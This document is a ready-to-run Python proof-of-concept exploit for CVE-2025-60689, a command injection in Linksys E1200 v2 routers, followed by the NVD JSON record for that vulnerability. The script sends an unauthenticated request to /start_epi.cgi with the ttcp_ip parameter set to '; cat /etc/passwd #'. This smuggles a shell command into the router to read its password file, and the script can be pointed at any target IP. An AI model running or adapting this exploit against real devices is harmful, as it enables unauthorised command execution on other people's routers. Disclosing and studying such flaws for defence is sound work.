CVE-2025-60689

#!/usr/bin/env python3 """ CVE-2025-60689 PoC - Linksys E1200 v2 Command Injection This PoC demonstrates the command injection vulnerability in Start_EPI function. """ import requests import sys def exploit(target_ip, target_port=80): """ Exploit the command injection vulnerability in Linksys E1200 v2 Args: target_ip: IP address of the vulnerable router target_port: Web interface port (default: 80) """ # Base URL for the vulnerable endpoint base_url = f"http://{target_ip}:{target_port}" # Vulnerable parameters in Start_EPI function # Injecting command: cat /etc/passwd malicious_params = { 'ttcp_ip': '; cat /etc/passwd #', 'ttcp_num': '1', 'ttcp_size': '1000', 'wl_ant': '0', 'wl_ssid': 'test', 'wl_rate': '0' } try: # Send the malicious request # The vulnerable endpoint processes these parameters in Start_EPI response = requests.get(f"{base_url}/start_epi.cgi", params=malicious_params, timeout=10) print(f"[*] Request sent to {base_url}/start_epi.cgi") print(f"[*] Status code: {response.status_code}") print(f"[*] Response:\n{response.text}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False return True def main(): if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_ip> [port]") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 print(f"[*] Exploiting CVE-2025-60689 on {target_ip}:{target_port}") exploit(target_ip, target_port) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-60689", "sourceIdentifier": "[email protected]", "published": "2025-11-13T16:15:52.970", "lastModified": "2025-11-19T17:30:38.190", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An unauthenticated command injection vulnerability exists in the Start_EPI function of the httpd binary on Linksys E1200 v2 routers (Firmware E1200_v2.0.11.001_us.tar.gz). The vulnerability occurs because user-supplied CGI parameters (wl_ant, wl_ssid, wl_rate, ttcp_num, ttcp_ip, ttcp_size) are concatenated into system command strings without proper sanitization and executed via wl_exec_cmd. Successful exploitation allows remote attackers to execute arbitrary commands on the device without authentication."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linksys:e1200_firmware:2.0.11.001:*:*:*:*:*:*:*", "matchCriteriaId": "2461F974-2121-490C-A6CD-18B006070679"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:linksys:e1200:2:*:*:*:*:*:*:*", "matchCriteriaId": "4B14B800-5FCA-4E2B-A42B-EBE6EEC8FBB1"}]}]}], "references": [{"url": "http://linksys.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/yifan20020708/SGTaint-0-day/blob/main/Linksys/Linksys-E1200/CVE-2025-60689.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.linksys.com/", "source": "[email protected]", "tags": ["Product"]}]}}